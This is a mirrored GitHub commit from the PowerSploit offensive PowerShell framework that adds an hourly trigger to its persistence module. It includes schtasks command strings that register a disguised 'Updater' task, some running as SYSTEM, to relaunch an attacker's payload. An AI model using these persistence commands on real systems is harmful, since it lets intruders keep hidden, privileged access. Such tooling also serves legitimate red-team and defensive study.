admin/PowerShellMafia-PowerSploit
1
0
Fork 0
mirror of https://github.com/PowerShellMafia/PowerSploit synced 2026-06-08 12:13:33 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge remote-tracking branch 'refs/remotes/origin/master' into dev

Browse Source
This commit is contained in:
Matt Graeber
2016-05-29 08:00:08 -07:00
parent 6b0ada999a 262a260865
commit 235dec56ae
1 changed files with 40 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Persistence/Persistence.psm1
+40
View File
@@ -55,6 +55,10 @@ function New-ElevatedPersistenceOption
Starts the payload daily.
.PARAMETER Hourly
Starts the payload hourly.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@@ -83,6 +87,7 @@ function New-ElevatedPersistenceOption
$PermanentWMI,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
@@ -97,6 +102,10 @@ function New-ElevatedPersistenceOption
[Switch]
$Daily,
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Switch]
$Hourly,
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
@@ -156,6 +165,12 @@ function New-ElevatedPersistenceOption
$PersistenceOptionsTable['Time'] = $At
}
'ScheduledTaskHourly'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Hourly'
}
'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
@@ -214,6 +229,10 @@ function New-UserPersistenceOption
Starts the payload daily.
.PARAMETER Hourly
Starts the payload hourly.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@@ -233,6 +252,7 @@ function New-UserPersistenceOption
[CmdletBinding()] Param (
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$ScheduledTask,
@@ -245,6 +265,10 @@ function New-UserPersistenceOption
[Switch]
$Daily,
[Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )]
[Switch]
$Hourly,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
$At,
@@ -285,6 +309,12 @@ function New-UserPersistenceOption
$PersistenceOptionsTable['Time'] = $At
}
'ScheduledTaskHourly'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Hourly'
}
'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
@@ -574,6 +604,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
$ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}
'Hourly'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC HOURLY /TN Updater /TR "
}
'OnIdle'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
@@ -617,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}
'Hourly'
{
$UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR "
}
'OnIdle'
{
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "